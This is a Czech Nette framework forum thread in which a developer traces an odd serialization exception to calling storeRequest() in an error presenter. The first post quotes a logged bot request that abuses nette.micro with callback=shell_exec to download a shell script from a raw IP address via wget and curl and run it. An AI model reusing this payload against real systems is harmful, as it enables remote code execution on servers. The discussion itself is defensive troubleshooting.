Útoky na web? – Object serialization is not supported by class

Alsatian
Člen | 175
+
0
-

Ahoj.

Mám na Vás dotaz, se kterým si prozatím nevím rady. Poslední dobou se mi napříč weby (Nette 4) stává, že mi tu a tam přijde tato chyba. Je miminálně podivné, co se tam “někdo” snaží vecpat za data, viz odkaz, který chybu vyvolal. Setkává se s tím taky někdo z vás?

Je řešení v ošetření chyby viz nedávný článek “Atribut #[Requires]”?
Atribut #[Requires]

Výpis chyby (jen s pozměněnou doménou):

Nette\NotImplementedException: Object serialization is not supported by class App\FrontendModule\Presenters\PagePresenter in /home/html/mujucet.cz/public_html/domains/nazevdomeny.cz/subdomains/b2b/vendor/nette/component-model/src/ComponentModel/Component.php:306

source: https://b2b.nazevdomeny.cz/nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://146.190.114.191/ccwde.sh;curl%20-O%20http://146.190.114.191/ccwde.sh;sh%20ccwde.sh

Díky moc.

Alsatian
Člen | 175
+
0
-

Martin Dřímal napsal(a):

https://blog.nette.org/…pusteni-kodu

Ahoj. Jedná se tedy „jen“ o snahu spustit uvedený kód, který ale díky Nette 4 neprojde? Jak zabránit tomu, aby Tracy odeslala chybu na email? :)

David Grudl
Nette Core | 8218
+
0
-

Asi bude potřeba kouknout na celý callstack.

Alsatian
Člen | 175
+
0
-

Teoreticky stačí za vyvolání a uložení exception přidat za svou doménu:

/nette.micro/?callback=shell_exec&cmd=cd%20/
Gappa
Nette Blogger | 208
+
0
-

Mně začalo chodit z jednoho webu to samé, ale URL je „obyč“. V mém případě je to Googlebot (IP adresa sedí :) a URL vyvolá redirect na login (backlink).

Musím ale podrobněji prozkoumat log.

Gappa
Nette Blogger | 208
+
0
-

Tak jsem ho prošel a nic zajímavého tam není.

Call stack:

inner-code	Nette\ComponentModel\Component::__sleep ()

Jsou tam 3 requesty:

  • GET na neexistující akci existujícího presenteru.
  • FORWARD na :Front:Error:.
  • FORWARD na :Front:Error4xx:.

V mém případě byl problém v tom, že i když jeden presenter byl veřejný, tak Error4xx nebyl (🙄), což způsobovalo tuhle divnou situaci – vyřešeno.

m.brecher
Generous Backer | 864
+
0
-

@Alsatian

Teoreticky stačí za vyvolání a uložení exception přidat za svou doménu: /nette.micro/?callback=shell_exec&cmd=cd%20/

Zkoušel jsem také testovat co udělá přidané /nette.micro/?callback=shell_exec&cmd=cd%20/ za doménu, ale request zablokoval v prohlížeči antivir s odkazem na nahlášenou bezpečnostní chybu https://nvd.nist.gov/…E-2020-15227

Zkusil jsem přidat jenom /nette.micro, to antivir pustil a obdržel jsem 404:

Nette\Application\BadRequestException #404
Invalid request. Presenter is not achievable.

Takže je zřejmě takovéto vyvolání micro presenteru, které používají roboti, zablokované 404kou. Mám poslední verzi nette/application 3.2.5. U 404ky by neměl být problém s odesíláním emailů z Tracy. Asi by se tedy Tvůj problém dal vyřešit upgradem na poslední verzi, protože Tobě to vyhazuje jinou výjimku – máš asi jinou verzi nette/application než já.

Alsatian
Člen | 175
+
0
-

@mbrecher z chyby jsem vyčetl viz následující a ano, weby padnou do chyby 404 (a zapíší chybu, o které se bavíme):
Call stack:

inner-code
Nette\ComponentModel\Component::__sleep ()

Ohledně verze Nette, viz výpis níže, i po composer update mám verzi “nette/application”: “^3.1”, což teda opravdu asi není poslední verze. Kde je potom problém :) Vložím sem celý composer.json

{
	"name": "nette/web-project",
	"description": "Nette: Standard Web Project",
	"keywords": ["nette"],
	"type": "project",
	"license": ["MIT", "BSD-3-Clause", "GPL-2.0", "GPL-3.0"],
	"require": {
		"php": ">= 8.2",
		"nette/application": "^3.1",
		"nette/bootstrap": "^3.2",
		"nette/caching": "^3.2",
		"nette/database": "^3.1",
		"nette/di": "^3.1",
		"nette/forms": "^3.1",
		"nette/http": "^3.2",
		"nette/mail": "^4.0",
		"nette/robot-loader": "^4.0",
		"nette/security": "^3.1",
		"nette/utils": "^4.0",
		"latte/latte": "^3.0",
		"tracy/tracy": "^2.9",
		"mukto90/ncrypt": "^1.0",
		"contributte/translation": "^2.0",
		"nextras/mail-panel": "^2.6",
		"dg/mysql-dump": "^1.5",
		"nettrine/dbal": "^0.8.2",
		"nettrine/cache": "^0.3.0",
		"contributte/console": "^0.9.4",
		"nettrine/orm": "^0.8.4",
		"nettrine/migrations": "^0.8.1",
		"nettrine/annotations": "^0.7.0",
		"contributte/pdf": "^7.0",
		"phpoffice/phpspreadsheet": "^2.0"
	},
	"require-dev": {
		"nette/tester": "^2.4"
	},
	"autoload": {
		"psr-4": {
			"App\\": "app"
		}
	},
	"minimum-stability": "stable",
	"config": {
	}
}

Editoval Alsatian (4. 6. 14:55)

David Grudl
Nette Core | 8218
+
0
-

Gappa napsal(a):

Tak jsem ho prošel a nic zajímavého tam není.

Call stack:

inner-code	Nette\ComponentModel\Component::__sleep ()

Důležité je, co vede k tomu, že se zavolá tato metoda. Nejspíš se někde volá serializace a jde o to proč.

Alsatian
Člen | 175
+
0
-

@DavidGrudl Ahoj Davide.
Prosím tě, můžu ti někam poslat celý kód chyby?
Ty se v něm určitě vyznáš, nechci ho dávat veřejně. Chápu správně, že z něj by se dalo něco vyčíst?
Děkuji :)

Ale asi bude chyba u mě taky někde v Error Presenteru… Vyhodí to totiž jakákoliv chybná URL.

Requests:

array
0 => Nette\Application\Request
name: 'Admin:Cms'
method: 'GET'
params: array
'action' => 'ffff'
'locale' => 'cz'
'id' => null
'paginator-page' => null
post: array (0)
files: array (0)
flags: array (0)

1 => Nette\Application\Request
name: 'Frontend:Error'
method: 'FORWARD'
params: array
'exception' => Nette\Application\BadRequestException
'previousPresenter' => App\AdminModule\Presenters\CmsPresenter
'request' => Nette\Application\Request
'action' => 'default'
post: array (0)
files: array (0)
flags: array
'current' => false

2 => Nette\Application\Request
name: 'Frontend:Error4xx'
method: 'FORWARD'
params: array
'exception' => Nette\Application\BadRequestException
'previousPresenter' => App\AdminModule\Presenters\CmsPresenter
'request' => Nette\Application\Request
'action' => 'default'
post: array (0)
files: array (0)
flags: array
'current' => false

Editoval Alsatian (4. 6. 15:45)

Alsatian
Člen | 175
+
0
-

Ještě přidám kousek nastavení Configu:

application:
    errorPresenter: Frontend:Error
    mapping:
        *: App\*Module\Presenters\*Presenter
        Error: App\FrontendModule\Presenters\*Presenter

search:
    FrontendModuly:
        in: %appDir%/FrontendModule/Forms
    FrontendComponents:
        in: %appDir%/FrontendModule/Components
    AdminModuly:
        in: %appDir%/AdminModule/Forms
    AdminComponents:
        in: %appDir%/AdminModule/Components
    PartnerModuly:
        in: %appDir%/PartnerModule/Forms
    PartnerComponents:
        in: %appDir%/PartnerModule/Components
    Sign:
        in: %appDir%/Forms
    Manazery:
        in: %appDir%/Model/Managers
m.brecher
Generous Backer | 864
+
0
-

@Alsatian

z chyby jsem vyčetl viz následující a ano, weby padnou do chyby 404 (a zapíší chybu, o které se bavíme):

Z výpisu requestů je vidět, že ErrorPresenter zachycuje bez problémů chybu 404. Můžeme tedy vyloučit že by problém způsobila stará verze nette/application. Problém vzniká někde později – pravděpodobně v ErrorPresenteru, nebo Error4xxPresenteru.

Můžeš poslat zdrojový kód všech error presenterů, které výjimku zpracovávají ?

David Grudl
Nette Core | 8218
+
0
-

Alsatian napsal(a):

@DavidGrudl Ahoj Davide.
Prosím tě, můžu ti někam poslat celý kód chyby?

pošli mi to na david@grudl.com

Alsatian
Člen | 175
+
0
-

@mbrecher myslím si, že je tam výchozí kód, který jsem zde neupravoval.

ErrorPresenter.php

<?php

declare(strict_types=1);

namespace App\FrontendModule\Presenters;

use Nette;
use Nette\Application\Responses;
use Nette\Http;
use Tracy\ILogger;


#final class ErrorPresenter implements Nette\Application\IPresenter
final class ErrorPresenter extends BasePresenter
{
	use Nette\SmartObject;

    /** @var ILogger */
    private $logger;


	public function __construct(ILogger $logger)
	{
		$this->logger = $logger;
	}


	public function run(Nette\Application\Request $request): Nette\Application\Response
	{
		$exception = $request->getParameter('exception');

		if ($exception instanceof Nette\Application\BadRequestException) {
			[$module, , $sep] = Nette\Application\Helpers::splitName($request->getPresenterName());
			return new Responses\ForwardResponse($request->setPresenterName($module . $sep . 'Error4xx'));
		}

		$this->logger->log($exception, ILogger::EXCEPTION);
		return new Responses\CallbackResponse(function (Http\IRequest $httpRequest, Http\IResponse $httpResponse): void {
			if (preg_match('#^text/html(?:;|$)#', (string) $httpResponse->getHeader('Content-Type'))) {
				require __DIR__ . '/templates/Error/500.phtml';
			}
		});
	}
}

Error4xxPresenter.php

<?php

declare(strict_types=1);

namespace App\FrontendModule\Presenters;

use Nette;


#final class Error4xxPresenter extends Nette\Application\UI\Presenter
final class Error4xxPresenter extends BasePresenter
{
	public function startup(): void
	{
		parent::startup();
		if (!$this->getRequest()->isMethod(Nette\Application\Request::FORWARD)) {
			$this->error();
		}
	}


	public function renderDefault(Nette\Application\BadRequestException $exception): void
	{
		// load template 403.latte or 404.latte or ... 4xx.latte
		$file = __DIR__ . "/templates/Error/{$exception->getCode()}.latte";
		$this->template->setFile(is_file($file) ? $file : __DIR__ . '/templates/Error/4xx.latte');
	}
}
m.brecher
Generous Backer | 864
+
0
-

@Alsatian

Dobře odladit Error4xxPresenter tak, aby byl neprůstřelný, spolehlivý a nebyl zdrojem vlastních chyb a současně vykresloval běžný layout webu není úplně jednoduché.

Tvůj Error4xxPresenter dědí z BasePresenteru, který pravděpodobně přidává nějaké komponenty do layoutu. Zde by mohl vzniknout nějaký problém.

Navrhuji:

(a) vydumpuj si pomocí bdump(__METHOD__); kam až zpracování 404 dojde:

  • Error4xxPresenter: – startup() + renderDefault()
  • BasePresenter – startup() + beforeRender() + createComponent<*>() + …

(b) kdyby Jsi problém nenašel, pošli kód BasePresenteru, popř. layoutu

Alsatian
Člen | 175
+
+2
-

@mbrecher tak dělá to zřejmě následující řádek v BasePresenter.php v startup()

$this->template->newBacklink = $this->storeRequest();

Je tam z nějaké historie, kdy si ukládám backlink… a dost podivně se přiznám.

Alsatian
Člen | 175
+
0
-

A je zřejmě po problému :)
Problém tedy můj, kdy jsem z historie ukládal backlink a při vyvolání chyby to vyhodí onu chybu.

Díky chlapi! @DavidGrudl a @mbrecher

PS: abych to nezakřikl :)

Editoval Alsatian (4. 6. 18:01)

David Grudl
Nette Core | 8218
+
+4
-

@Alsatian Už jsem to našel, chybu způsobuje $presenter->storeRequest(). Volá se v error presenteru, v tu chvíli je součástí requestu parametr s presenterem (od tohoto PR). No a když se serializuje, dojde k té chybě.

Co s tím. Ty si pohlídej, aby se nevolal storeRequest() v error presenteru, protože to reálně opravdu nechceš.

A já zkusím upravit Nette, aby bylo jasnější, co se stalo.


edit: tak jste na to přišli dřív než jsem to dopsal :)

Gappa
Nette Blogger | 208
+
0
-

David Grudl napsal(a):

Gappa napsal(a):

Tak jsem ho prošel a nic zajímavého tam není.

Call stack:

inner-code	Nette\ComponentModel\Component::__sleep ()

Důležité je, co vede k tomu, že se zavolá tato metoda. Nejspíš se někde volá serializace a jde o to proč.

Je to ten stejný důvod – na neveřejné 404 stránce se volal $presenter->storeRequest() a přesměrovávalo se na login stránku, aby se na ní dalo vrátit… :)

Alsatian
Člen | 175
+
0
-

@DavidGrudl @Gappa prosím tě, ještě narážím na webech v posledních dnech na tuhle chybu:
Nette\Application\BadRequestException: Method OPTIONS is not allowed #405 in /home/html/multihosting.cz/public_html/domains/nazevdomeny.cz/www/vendor/nette/application/src/Application/UI/Component.php:347

Opět nepochopitelný vstup, zřejmě boot…
https://www.nazevdomeny.cz/wp-json/wp/v2/posts?_fields=content,title,link,date_gmt,modified_gmt&search=href&search_columns=post_content&per_page=100&page=1

„/wp-json/wp/v2/posts?_fields=content,title,link,date_gmt,modified_gmt&search=href&search_columns=post_content&per_page=100&page=1“ vyhodí chybu. Jsem schopen sám nějak zjistit, co ji způsobuje? :)

Nette\Application\BadRequestException #405
Method OPTIONS is not allowed

Skončí to zřejmě na 14-tém řádku v souboru „/www/index.php“:

9:    require __DIR__ . '/../vendor/autoload.php';
10:
11:    $configurator = App\Bootstrap::boot();
12:    $container = $configurator->createContainer();
13:    $application = $container->getByType(Nette\Application\Application::class);
14:    $application->run();

Editoval Alsatian (30. 6. 8:14)

Gappa
Nette Blogger | 208
+
+1
-

Alsatian napsal(a):

@DavidGrudl @Gappa prosím tě, ještě narážím na webech v posledních dnech na tuhle chybu:
Nette\Application\BadRequestException: Method OPTIONS is not allowed #405 in /home/html/multihosting.cz/public_html/domains/nazevdomeny.cz/www/vendor/nette/application/src/Application/UI/Component.php:347
`

To bude asi to samé jako tady, ne?

Alsatian
Člen | 175
+
0
-

Gappa napsal(a):

Alsatian napsal(a):

@DavidGrudl @Gappa prosím tě, ještě narážím na webech v posledních dnech na tuhle chybu:
Nette\Application\BadRequestException: Method OPTIONS is not allowed #405 in /home/html/multihosting.cz/public_html/domains/nazevdomeny.cz/www/vendor/nette/application/src/Application/UI/Component.php:347
`

To bude asi to samé jako tady, ne?

Dost možná ano. Díky. Snad už bude klid :D